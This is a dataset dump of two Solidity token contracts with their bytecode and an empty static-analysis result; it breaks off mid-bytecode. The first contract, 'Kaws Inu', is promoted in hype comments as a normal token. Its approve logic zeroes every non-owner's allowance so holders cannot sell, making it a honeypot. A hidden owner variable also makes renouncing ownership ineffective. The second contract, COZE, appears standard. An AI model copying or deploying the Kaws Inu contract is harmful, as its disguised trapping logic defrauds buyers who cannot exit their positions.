address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x6b688401f218b0f4c9fc74fefd61e733a67730d1
|
/**
*Submitted for verification at Etherscan.io on 2021-12-15
*/
/*
A token called $KAWS is launching in the next hour or two.
Be sure to tune in as they recently muted their chat in preparations for launch.
The developer has been working on this project for the last week or two and they're
finally launching after gaining some good momentum in the market.
They're working on Youtube acquisitions, influencers, listings, and much more.
Be sure to do your research and wait for liquidity lock if anything for your safety.
Socials
🌐Website: https://www.kawsinu.com/
💬Telegram: https://t.me/kawsinu
🐦Twitter: https://twitter.com/kawsinu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract KawsInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = 'Kaws Inu ' ;
string private _symbol = 'KAWS';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ae78fa94b1728f6364ce8bc39efbbb18537790488ef41ad7506c586aa5cd340564736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,700 |
0x2578e445307fdeb1077894378d8c5c8b8d121b59
|
pragma solidity ^0.4.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract COZE is BurnableToken, Ownable {
string public constant name = "COZE";
string public constant symbol = "COZE";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 250000000 * (10 ** uint256(decimals));
// Constructors
function COZE () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a578063378dc3dc1461029357806342966c68146102bc57806366188463146102df57806370a08231146103395780638da5cb5b1461038657806395d89b41146103db578063a9059cbb14610469578063d73dd623146104c3578063dd62ed3e1461051d578063f2fde38b14610589575b600080fd5b34156100eb57600080fd5b6100f36105c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fb565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106ed565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d6109df565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a66109e4565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102dd60048080359060200190919050506109f2565b005b34156102ea57600080fd5b61031f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbb565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4c565b6040518082815260200191505060405180910390f35b341561039157600080fd5b610399610e95565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e657600080fd5b6103ee610ebb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042e578082015181840152602081019050610413565b50505050905090810190601f16801561045b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ef4565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b610503600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110ca565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c6565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134d565b005b6040805190810160405280600481526020017f434f5a450000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561073257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ee83826114a590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a630ee6b2800281565b60008082111515610a0257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5057600080fd5b339050610aa582600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610afd826000546114a590919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ccc576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d60565b610cdf83826114a590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f434f5a450000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3157600080fd5b610f8382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a590919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114be90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a